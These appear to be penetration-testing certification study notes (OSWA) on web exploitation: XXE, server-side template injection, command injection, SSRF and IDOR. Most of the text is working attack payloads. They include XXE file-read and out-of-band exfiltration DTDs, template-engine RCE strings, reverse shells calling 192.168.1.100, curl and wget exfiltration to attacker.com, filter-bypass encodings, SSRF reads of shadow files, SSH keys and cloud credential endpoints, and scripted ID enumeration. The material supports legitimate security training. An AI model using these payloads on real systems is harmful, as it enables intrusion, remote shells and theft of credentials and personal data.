Why: XML is widely used for data interchange; understanding its structure is essential for XXE attacks.

XML Attributes

<?xml version="1.0" encoding="UTF-8"?>
<contacts>
  <contact id="123">
    <firstName>Tom</firstName>
    <lastName>Jones</lastName>
  </contact>
</contacts>

Why: Attributes provide metadata; important for distinguishing where to inject payloads.

CDATA Sections

Used to include literal < and > characters:

<![CDATA[ content with < and > characters ]]>

Why: CDATA prevents parser interpretation of special XML characters.

XML Entity Types

Internal Entities

Defined within DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY test "<entity-value>test value</entity-value>">
]>

Reference with &test;

Why: Internal entities are substituted when referenced.

External Entities (Private/SYSTEM)

<!DOCTYPE name [
  <!ENTITY offsecinfo SYSTEM "http://www.offsec.com/company.xml">
]>

Why: External entities load data from URLs or file paths.

External Entities (Public)

<!DOCTYPE name [
  <!ENTITY offsecinfo PUBLIC "-//W3C//TEXT companyinfo//EN" "http://www.offsec.com/companyinfo.xml">
]>

Why: Public entities may have alternate URIs specified by the public_id.

Parameter Entities

<!ENTITY % course 'WEB 200'>
<!ENTITY Title 'Offensive Security presents %course;'>

Why: Parameter entities (with %) exist only in DTDs and are useful for multi-level entity expansion.

XXE Injection - Testing and Exploitation

Basic XXE Test

Verify entity processing:

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname "Replaced">
]>
<Contact>
 <lastName>&lastname;</lastName>
 <firstName>Tom</firstName>
</Contact>

Why: If the entity is replaced, the parser processes external entities.

Reading Files

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEM "file:///etc/passwd">
]>
<Contact>
 <lastName>&lastname;</lastName>
 <firstName>Tom</firstName>
</Contact>

Why: External entities with file:// protocol can read local files if the parser expands them and results are displayed.

Error-Based XXE

Force an error to exfiltrate data via error messages:

<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entity-engine-xml>
<Product>
<description>&xxe;</description>
</Product>
</entity-engine-xml>

Place the entity in a field that causes validation errors (e.g., wrong data type or exceeds column length).

Why: Error messages may contain the exfiltrated data.

Out-of-Band XXE

Create external DTD file at /var/www/html/external.dtd:

<!ENTITY % content SYSTEM "file:///etc/timezone">
<!ENTITY % external "<!ENTITY &#37; exfil SYSTEM 'http://your_ip/out?%content;'>" >

XML payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://your_ip/external.dtd">
%base;
%external;
%exfil;
]>
<entity-engine-xml>
</entity-engine-xml>

Check Apache log for exfiltrated data:

tail /var/log/apache2/access.log
# GET /out?Etc/UTC HTTP/1.1

Why: When direct results aren't available, out-of-band XXE uses parameter entity expansion to send data to an attacker-controlled server.

Case Study: Apache OFBiz XXE Vulnerability

Vulnerable endpoint: /webtools/control/EntityImport

Access credentials:

  • URL: https://ofbiz:8443/webtools
  • Username: admin
  • Password: ofbiz

Baseline XML (Programmable Export):

<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
<Product
  createdStamp="2021-06-04 08:15:49.363"
  productId="XXE-0001"
  productName="Test"
  productTypeId="FINISHED_GOOD">
 <longDescription>This giant widget is mobile.</longDescription>
</Product>
</entity-engine-xml>

Why: This baseline respects the application's expected XML structure.

Test 1: Internal Entity

<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe "Vulnerable to XXE">
]>
<entity-engine-xml>
<Product createdStamp="2021-06-04 08:15:49.363" productId="XXE-0001">
<longDescription>&xxe;</longDescription>
</Product>
</entity-engine-xml>

View results in product search (Catalog > Products).

Why: Confirms the parser processes entities and displays results.

Test 2: External Entity (File Reading)

<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entity-engine-xml>
<Product createdStamp="2021-06-04 08:15:49.363" productId="XXE-0001">
<longDescription>&xxe;</longDescription>
</Product>
</entity-engine-xml>

Why: Reads file contents directly into the XML entity.

Test 3: Error-Based XXE

<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entity-engine-xml>
<Product createdStamp="2021-06-04 08:15:48.983">
<description>&xxe;</description>
<longDescription>XXE</longDescription>
</Product>
</entity-engine-xml>

Move the entity reference to the description field to trigger a database column length error that leaks the file contents.

Why: Database truncation errors reveal the xxe entity value in error messages.

Test 4: Out-of-Band XXE

Create /var/www/html/external.dtd:

<!ENTITY % content SYSTEM "file:///etc/timezone">
<!ENTITY % external "<!ENTITY &#37; exfil SYSTEM 'http://your_ip/out?%content;'>" >

Start Apache:

sudo systemctl start apache2

XML payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://your_ip/external.dtd">
%base;
%external;
%exfil;
]>
<entity-engine-xml>
</entity-engine-xml>

Check logs:

sudo tail /var/log/apache2/access.log

Why: Out-of-band exfiltration works when error-based and direct methods fail.


Key Takeaways

SQL Injection

  • Identify vulnerable parameters (input fields, sorting parameters, file operations)
  • Enumerate database type and structure (version, databases, tables, columns)
  • Exploit using error-based, UNION-based, or stacked queries
  • Use sqlmap to automate discovery and exploitation
  • Customize payloads for specific database software

Directory Traversal

  • Look for file-handling parameters (file=, path=, location=)
  • Use ../ sequences for relative paths or absolute paths /etc/passwd
  • URL-encode traversal strings if needed (..%2F)
  • Fuzz with wordlists to enumerate accessible files
  • Verify directory listing vs. traversal capabilities

XXE Injection

  • Test for entity processing with internal entities first
  • Exploit external entities to read local files or SSRF
  • Use error-based XXE when direct results unavailable
  • Leverage out-of-band XXE with parameter entity expansion for blind scenarios
  • Always match application's expected XML structure for successful injection

OSWA Study Notes - Part 3: Advanced Web Vulnerabilities

Chapter 10: Server-side Template Injection (SSTI)

Templating Engine Concepts

Theory: Templating engines combine static templates with variables to generate dynamic content. When user input is directly concatenated into templates, attackers can inject template syntax to execute arbitrary code. The severity ranges from XSS to RCE depending on the template engine's capabilities and the language it's bound to.

Key Principle: Discovery requires identifying the template engine, then using engine-specific syntax for exploitation.

Logic Levels:

  • Logic-less engines: Basic data display and filters only
  • Logical engines: Full access to underlying language, higher RCE risk

Common Engines:

EngineLanguageSideRisk
TwigPHPServerHigh
FreemarkerJavaServerHigh
Pug/JadeJavaScriptServerHigh
JinjaPythonServerHigh
HandlebarsJavaScriptBothMedium
MustacheMultipleVariesLow-Medium

Twig (PHP)

Discovery Payload - Arithmetic Test:

{{ 7 * 7 }}

If output is 49, likely Twig (PHP type juggling). Compare with {{ "7" * 7 }} which also returns 49 in PHP.

RCE Payloads:

Basic var_dump:

{{[0]|reduce('var_dump','Hello')}}

Why: Uses reduce filter to execute var_dump on array element, proving code execution.

Command execution:

{{[0]|reduce('system','whoami')}}

Why: reduce() filter passes callable as first argument; 'system' is a PHP function that executes shell commands.

Reverse shell:

{{[0]|reduce('shell_exec','nc -nv 192.168.1.100 9090 -e /bin/bash')}}

Key Twig Filters for Exploitation:

  • reduce() - Applies callback to reduce array
  • map() - Transform array elements
  • apply() - Apply filter to block
  • batch() - Divide array into chunks

Apache Freemarker (Java)

Discovery Payload:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }

Alternative detection:

${7*7}

Freemarker outputs 49 string (different from Twig).

RCE Payload:

${"freemarker.template.utility.Execute"?new()("whoami")}

Why: Instantiates Execute utility class from Freemarker library and calls it with command string.

Reverse shell:

${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","bash","-c","bash -i >& /dev/tcp/192.168.1.100/9090 0>&1").start()}

Pug/Jade (JavaScript)

Discovery Payload:

#{"7"*7}

If outputs 49, likely JavaScript-based engine (Pug/Jade).

RCE Payload:

- var x = require('child_process').exec('whoami')

Why: Pug allows direct access to Node.js require() for code execution.

Alternative:

#{require('child_process').exec('nc -nv 192.168.1.100 9090 -e /bin/bash')}

Jinja (Python)

Discovery Payload:

{{ 7 * 7 }}
{{ "7" * 7 }}

Jinja outputs 49 and 7777777 (string multiplication difference).

RCE Payload - Basic:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}

RCE Payload - Simplified:

{{ cycler.__init__.__globals__.os.popen('whoami').read() }}

RCE Payload - Reverse Shell:

{{ self.__init__.__globals__.__builtins__.__import__('subprocess').call(['bash','-i','>','/dev/tcp/192.168.1.100/9090','0>&1']) }}

Handlebars/Mustache

Handlebars Discovery:

{{#if true}}Hello{{/if}}

RCE via Object Constructor:

{{#with (this|json)}}
  <script>alert('xss')</script>
{{/with}}

SSTI Exploitation Steps

  1. Test for SSTI: Inject {{7*7}}, ${7*7}, <%= 7*7 %>, #{ 7*7 } in parameters
  2. Identify Engine: Observe output format, error messages, behavior
  3. Research Syntax: Check template engine documentation for code execution
  4. Craft Payload: Use engine-specific RCE technique
  5. Execute: Deliver payload through vulnerable parameter

Common Injection Points:

  • Email template parameters
  • Document generation (PDF, etc.)
  • Theme/template customization
  • Dynamic HTML generation
  • User-controlled configuration values

SSTI Bypass Techniques

Obfuscation for WAF:

{{ [].class.__base__.__subclasses__()[408]('whoami',shell=True,stdout=-1).communicate()[0] }}

Alternative Syntax:

{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

Chapter 11: Command Injection

Command Injection Concepts

Theory: Command injection occurs when user input is passed directly to system execution functions without sanitization. Attackers can chain arbitrary commands to gain shell access, exfiltrate data, or modify system state. Impact: Remote Code Execution as application user/process owner.

Key Principle: Any parameter that interacts with OS-level operations (ping, system calls, curl, wget) may be vulnerable.

Command Chaining Operators

Semicolon (;) - Sequential execution regardless of success:

127.0.0.1;id
127.0.0.1;cat /etc/passwd

Always executes both commands.

Logical AND (&&) - Execute second only if first succeeds:

whoami && hostname
192.168.1.1 && cat /etc/shadow

Second command runs only on success (exit code 0).

Logical OR (||) - Execute second only if first fails:

foobar || whoami
nonexistent || cat /etc/passwd

Second command runs only on failure (non-zero exit code).

Pipe (|) - Pass output of first to input of second:

ls | grep txt
whoami | tee output.txt

Backticks (``) or $(...) - Command substitution inline:

echo "Current user is `whoami`"
echo "Current user is $(whoami)"

Discovery Techniques

Basic Test:

http://target/ping.php?ip=127.0.0.1|id

If output shows uid, gid, groups - vulnerable.

Blind Testing:

http://target/ping.php?ip=127.0.0.1;sleep 20

Measure response time. If delayed by ~20 seconds, vulnerable.

Out-of-Band Confirmation: Start listener:

kali@kali:~$ nc -nlvp 9090
listening on [any] 9090 ...

Payload:

http://target/ping.php?ip=127.0.0.1;curl 192.168.1.100:9090

Connection to listener confirms execution.

Payload Execution Methods

Direct Reverse Shell - Netcat:

127.0.0.1|/bin/nc -nv 192.168.1.100 9090 -e /bin/bash

Why: -e flag executes /bin/bash, stdio redirected to nc socket.

URL Encoded Version:

127.0.0.1|/bin/nc%20-nv%20192.168.1.100%209090%20-e%20/bin/bash

Bash Reverse Shell:

bash -i >& /dev/tcp/192.168.1.100/9090 0>&1

Listener setup:

kali@kali:~$ nc -nlvp 9090

Full Bash Payload (URL encoded):

127.0.0.1|bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.100/9090+0>%261'

Why: bash -c executes command string; >& redirects stdout/stderr; 0>&1 redirects stdin.

Python Reverse Shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",9090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

URL encoded version:

127.0.0.1;python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.100%22,9090));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

Bypassing Filters

Null Byte Injection:

wh$()oami
i$()d

Why: $() is command substitution. Empty command still parses, allowing execution.

Base64 Encoding (bypass keyword blacklists): Encode payload:

kali@kali:~$ echo "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dkCg==

Delivery:

127.0.0.1;echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash

Why: Command blacklist bypassed; base64 decoded at execution time.

Wildcard Usage:

127.0.0.1;c?t /etc/passwd

Why: ? matches single character; expands to 'cat' at shell interpretation.

Fuzzing for Bypass

Wordlist:

;id
|id
`id`
i$()d
;i$()d
$(sleep 5)
`sleep 10`

Fuzzing Command:

kali@kali:~$ wfuzz -c -z file,wordlist.txt --hc 404 http://target:80/php/blocklisted.php?ip=127.0.0.1FUZZ

Suppress Known Responses:

wfuzz -c -z file,wordlist.txt --hc 404 --hh 1156 http://target/page.php?ip=127.0.0.1FUZZ

Why: --hh hides responses of exact byte size (filters false positives).

Capability Enumeration

Check for Available Tools:

which nc
which wget
which curl
which python

Fuzzing multiple capabilities:

kali@kali:~$ wfuzz -c -z file,capabilities.txt --hc 404 "http://target:80/php/index.php?ip=127.0.0.1;which FUZZ"

Wordlist:

w00tw00t
wget
curl
python
bash
nc
cc
gcc
php

Tools

netcat (nc):

nc -nlvp 9090                    # Start listener
nc -nv 192.168.1.100 9090 -e /bin/bash  # Reverse shell

Burp Suite Repeater: Craft multi-payload tests with full HTTP control.

curl/wget: For out-of-band data exfiltration:

curl http://attacker.com/?data=$(whoami)
wget --post-data="$(cat /etc/passwd)" http://attacker.com/

Chapter 12: Server-side Request Forgery (SSRF)

SSRF Concepts

Theory: SSRF occurs when an application makes requests based on user input, allowing attackers to make the server request arbitrary resources. Since requests originate from the server, they can access internal resources, bypass firewalls, and enumerate internal networks.

Key Principle: Application server becomes an unwilling proxy for attacker requests.

Impact Scenarios:

  • Access to localhost services (admin panels, debug info)
  • Interact with internal microservices
  • Access cloud metadata services (AWS, GCP)
  • Read local files (file:// scheme)
  • Bypass authentication/IP restrictions

SSRF Types

Basic SSRF (Data Exfiltration): Application returns response content to attacker.

http://target/fetch?url=http://localhost/admin

Blind SSRF (No Content): Application only confirms request was made (via logging, timing, or side effects).

http://target/verify?url=http://attacker.com/unique_path

Discovery

Look for URL Parameters:

  • url, uri, link, image, file, fetch, download
  • Any parameter accepting URLs or file paths

File Upload from URL:

Form: Upload Image from URL
Parameter: image_url

Link Verification:

http://target/preview?url=http://www.example.com
http://target/verify?link=http://www.example.com

Exploitation - Loopback Interface

Access Localhost Services:

http://target/preview?url=http://127.0.0.1:8080
http://target/preview?url=http://localhost/status
http://target/preview?url=http://0.0.0.0:9000

Why: Server makes request from itself, bypassing firewall restrictions on loopback.

Enumerate Internal Ports:

http://target/preview?url=http://127.0.0.1:22
http://target/preview?url=http://127.0.0.1:3306
http://target/preview?url=http://127.0.0.1:5432
http://target/preview?url=http://127.0.0.1:6379

Timing differences or response content reveals open ports.

Exploitation - File Scheme

Read Local Files (if curl user-agent):

http://target/preview?url=file:///etc/passwd
http://target/preview?url=file:///etc/shadow
http://target/preview?url=file:///etc/hosts
http://target/preview?url=file:///home/user/.ssh/id_rsa

Why: Curl supports file:// scheme; requests Python Requests library does not.

Windows File Access:

http://target/preview?url=file:///c:/windows/win.ini
http://target/preview?url=file:///c:/windows/system32/drivers/etc/hosts

Exploitation - Gopher Protocol

Uses curl support for Gopher to send raw HTTP requests with custom methods/headers.

Setup netcat listener:

kali@kali:~$ nc -nvlp 9000
listening on [any] 9000 ...

Test basic Gopher:

curl gopher://127.0.0.1:9000/hello_gopher

Note: First path character truncated.

Send HTTP GET via Gopher:

curl gopher://127.0.0.1:80/_GET%20/status%20HTTP/1.1%0a

Why: Leading _ is truncated, leaving "GET /status HTTP/1.1". %0a is newline.

Send HTTP POST via Gopher:

curl gopher://127.0.0.1:80/_POST%20/status%20HTTP/1.1%0a

Works with curl, useful for bypassing GET-only restrictions.

Full HTTP Request via Gopher:

gopher://127.0.0.1:80/_GET%20/api/data%20HTTP/1.1%0aHost:%20127.0.0.1%0a%0a

Includes Host header and blank line for full HTTP request.

Exploitation - Cloud Metadata

AWS EC2 Metadata (link-local):

http://target/preview?url=http://169.254.169.254/latest/meta-data/
http://target/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://target/preview?url=http://169.254.169.254/latest/user-data

Google Cloud Metadata:

http://target/preview?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true

Requires header: Metadata-Flavor: Google

Azure Metadata:

http://target/preview?url=http://169.254.169.254/metadata/instance?api-version=2019-02-01

Verification Techniques

Out-of-Band Verification (Blind SSRF):

Start web server:

kali@kali:~$ sudo systemctl restart apache2

Payload with unique identifier:

http://target/verify?url=http://192.168.1.100:80/unique_ssrf_identifier

Check logs:

kali@kali:~$ sudo tail /var/log/apache2/access.log
192.168.50.101 - - [17/Nov/2021:10:34:02 -0500] "GET /unique_ssrf_identifier HTTP/1.1" 404 437 "-" "python-requests/2.26.0"

User-Agent reveals technology (e.g., python-requests, curl, Go http client).

Private IP Ranges

Target ranges for internal network enumeration:

RangeCountPurpose
10.0.0.0/816.7MClass A Private
172.16.0.0/121MClass B Private
192.168.0.0/1665kClass C Private

Tools & Requests

curl: Primary tool for SSRF payloads due to multiple scheme support.

curl http://127.0.0.1:8080
curl file:///etc/passwd
curl gopher://127.0.0.1:80/_GET%20/status%20HTTP/1.1%0a

Burp Suite: Construct requests with Repeater for precise URL control.

Simple SSRF Tester:

curl -s http://target/preview?url=http://192.168.1.100:80/test -w '%{size_download}'

Byte size can indicate successful vs. error responses.


Chapter 13: Insecure Direct Object Referencing (IDOR)

IDOR Concepts

Theory: IDOR occurs when a web application uses user-supplied references to access objects (files, database records, resources) without proper authorization checks. Attackers can modify reference values to access resources belonging to other users.

Key Principle: Authorization must be checked for every request, not just assumed from user session.

Types of References:

  • Sequential numeric IDs (1, 2, 3...)
  • UUIDs/GUIDs (alphanumeric)
  • File paths or names
  • Routing parameters
  • Hash-based identifiers

IDOR Types

Static File IDOR:

http://idor-sandbox/docs/?f=1.txt
http://idor-sandbox/docs/?f=2.txt
http://idor-sandbox/docs/?f=3.txt

Why: No authorization check; incrementing f parameter exposes all files.

Database Object IDOR (ID-Based):

http://idor-sandbox/customerPage/?custId=1
http://idor-sandbox/customerPage/?custId=2

Why: custId directly references database rows without permission validation.

Routing-Based IDOR (URL Segments):

/users/18293017/documents/file-15
/trains/LVIV-ODESSA
/book/1996-GeorgeRRMartin

Why: Path segments contain object identifiers that can be iterated.

Discovery

Identify Parameters:

  • Look for numeric IDs in URLs/parameters
  • Check for sequential or predictable values
  • Search for file references, user IDs, order IDs
  • Examine API responses for object IDs

Parameters to Test:

?id=
?userId=
?customerId=
?orderId=
?documentId=
?fileId=
?uid=
?user_id=

Response Comparison:

  • Same response size for different IDs = no data returned
  • Different sizes = different data (possible IDOR)
  • Visual differences = confirmed IDOR

Exploitation - Static File

Basic Iteration:

http://idor-sandbox/docs/?f=1.txt   → Shows "Coffee machine needed"
http://idor-sandbox/docs/?f=2.txt   → Shows "John Smith, Organ Donor: Yes"
http://idor-sandbox/docs/?f=3.txt   → Shows "..."

Manual Testing: Manually change f parameter in Burp Suite Repeater and compare responses.

Exploitation - Database Object

Baseline Response:

kali@kali:~$ curl -s http://idor-sandbox/user/?uid=62718 -w '%{size_download}'
2873

Get Valid Session (Authenticated IDOR): Intercept login request in Burp Suite to capture session cookie.

Brute Force with Baseline:

kali@kali:~$ curl -s http://idor-sandbox:80/user/?uid=91191 -w '%{size_download}' \
  --header "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64"
2873

Note: 2873 bytes is error response. Look for different sizes.

Fuzzing with wfuzz

Setup:

# Get valid response size for invalid UID
curl -s http://idor-sandbox:80/user/?uid=91191 -w '%{size_download}' \
  --header "Cookie: PHPSESSID=abc123"
# Result: 2873 bytes

Fuzz with Seclists wordlist:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/5-digits-00000-99999.txt \
  --hc 404 --hh 2873 \
  -H "Cookie: PHPSESSID=2a19139a5af3b1e99dd277cfee87bd64" \
  http://idor-sandbox:80/user/?uid=FUZZ

Key Options:

  • -c: Colorized output
  • -z file,WORDLIST: Load wordlist
  • --hc 404: Hide 404 responses
  • --hh 2873: Hide responses of exactly 2873 bytes
  • -H "Cookie: ...": Include session cookie

Output Example:

ID Response Lines Word Chars Payload
000011112: 200 76 L 174 W 2859 Ch "11111"
000016328: 200 76 L 174 W 2860 Ch "16327"
000023102: 200 76 L 174 W 2874 Ch "23101"

Exploit Valid IDs:

http://idor-sandbox/user/?uid=57191   → Retrieve user "McLovin" data
http://idor-sandbox/user/?uid=16327   → Retrieve another user's data

Advanced IDOR Techniques

UUID Enumeration: If UUIDs follow pattern (sequential, hash-based), attempt to:

  1. Collect multiple valid UUIDs from application responses
  2. Analyze for patterns
  3. Generate or predict additional UUIDs
  4. Test with IDOR endpoints

Multi-Parameter IDOR:

http://target/api/users/123/documents/456

Fuzz both user ID and document ID independently.

Parameter Pollution:

http://target/document?id=hacker&user_id=victim

Some frameworks process last parameter only; test variations.

Case Variation:

http://target/document?ID=123  (vs ?id=123)
http://target/document?userId=123  (vs ?userid=123)

Case Study Approach: OpenEMR

Discovery Process:

  1. Explore application for interesting functionality
  2. Identify parameters with numeric IDs
  3. Test incrementing/decrementing IDs
  4. Verify access to other users' data

Example Vulnerable Endpoint:

GET /index.php?r=patient/message/printmessage?noteid=11

Parameter noteid allows direct access to any message by ID.

Exploitation:

noteid=11  → Access message ID 11
noteid=10  → Access message ID 10 (different user's data)
noteid=9   → Continue decrementing to find sensitive data

Impact: Access to patient medical records, staff communications, sensitive information.

Tools

Burp Suite:

  • Repeater: Manually test different parameter values
  • Intruder: Automate ID iteration and comparison
  • Comparison: Side-by-side response analysis

wfuzz:

wfuzz -c -z range,1-1000 --hc 404 http://target/user?id=FUZZ

Fuzz ID range 1-1000, hide 404s.

curl Loop:

for i in {1..100}; do
  echo "Testing ID: $i"
  curl -s http://target/user?id=$i | grep -o "<title>.*</title>"
done

Chapter 14: Assembling the Pieces - Web App Assessment

Assessment Methodology

Reconnaissance:

  1. Identify all input parameters
  2. Map application functionality
  3. Enumerate endpoints (via Burp history, crawling)
  4. Identify authentication mechanisms
  5. Note third-party services/APIs

Vulnerability Testing: Test each parameter/endpoint for:

  • SSTI (template injection)
  • Command injection
  • SSRF (request forgery)
  • IDOR (authorization bypass)
  • SQL injection
  • XSS
  • Authentication bypass

Exploitation:

  1. Chain vulnerabilities when possible
  2. Escalate privileges
  3. Achieve RCE for maximum impact
  4. Document findings with POC

Common Attack Chains

Authentication Bypass + IDOR:

  1. Bypass authentication to gain low-privileged access
  2. Use IDOR to access admin data
  3. Escalate privileges via exposed credentials

SSRF + Command Injection:

  1. Use SSRF to reach internal service
  2. Service accepts command injection
  3. Execute RCE via forged request

SSTI + File Read:

  1. Find SSTI in template
  2. Use template engine file functions
  3. Read application source code
  4. Identify additional vulnerabilities

IDOR + SSTI:

  1. Use IDOR to access template files
  2. If template is user-editable via IDOR, inject SSTI
  3. Achieve RCE through template

Enumeration Checklist

Parameters to Test:

  • All URL parameters (?param=value)
  • All POST/PUT body parameters
  • All HTTP headers (User-Agent, Referer, etc.)
  • Cookies and session tokens
  • File upload functionality
  • Search/filter parameters

Endpoint Discovery:

  • Burp Suite Site Map (Ctrl+Shift+O)
  • Burp Suite Spider (crawl all links)
  • Manual directory traversal (common paths)
  • JavaScript source code (API endpoints)
  • API documentation

User Roles to Test:

  • Unauthenticated user
  • Low-privilege user
  • High-privilege/admin user
  • Cross-user (test access between users)

Tools & Workflow

Burp Suite Core Workflow:

  1. Enable Intercept for login flow
  2. Disable Intercept for browsing (Ctrl+I toggles)
  3. Review all requests in HTTP History
  4. Send interesting requests to Repeater (Ctrl+R)
  5. Send POST requests to Intruder for fuzzing
  6. Compare responses side-by-side
  7. Document findings with screenshots

Proxy Logging: Enable logging of all traffic for post-assessment review.

Parameter Extraction:

# Extract all parameters from Burp history export
cat burp_history.xml | grep -oP 'name="[^"]*"' | sort -u

Exploitation Priority

By Impact:

  1. Remote Code Execution (RCE) - Critical
  2. Authentication Bypass - Critical
  3. Privilege Escalation - High
  4. Sensitive Data Disclosure - High
  5. IDOR/Authorization Bypass - Medium-High
  6. SSRF - Medium-High
  7. XSS - Medium

By Feasibility:

  1. IDOR (high success rate)
  2. SSRF (reliable if found)
  3. Command Injection (depends on input validation)
  4. SSTI (engine-dependent)
  5. Authentication bypass (varies)

Reporting

For Each Finding:

  1. Title: Vulnerability type and location
  2. Severity: CVSS score or qualitative
  3. Description: How vulnerability works
  4. POC: Step-by-step reproduction
  5. Impact: What attacker can do
  6. Remediation: How to fix
  7. References: CVE, OWASP, CWE

Example POC:

1. Browse to http://target/user?id=1
2. Note response shows "User: John"
3. Change id parameter to id=2
4. Response shows "User: Jane" (unauthorized access)
5. Repeat with id=3, 4, 5... to enumerate all users
6. Access users' email, phone, address data

Summary: Attack Surface Mapping

Template-Based Applications:

  • Test all user-controlled data rendered in templates
  • Identify template engine from syntax/errors
  • Exploit with engine-specific payloads

Command-Dependent Applications:

  • Find parameters affecting OS-level operations
  • Test command separators (;, |, &&, ||)
  • Chain commands for RCE

Proxy Applications:

  • Locate URL parameters in requests
  • Test loopback, file://, cloud metadata
  • Use file:// and gopher:// for advanced exploitation

Direct Object References:

  • Map all numeric/sequential IDs in application
  • Enumerate IDs via fuzzing
  • Verify authorization for each request

Combined Assessment:

  • Chain multiple vulnerabilities
  • Escalate from info disclosure to RCE
  • Document complete attack flow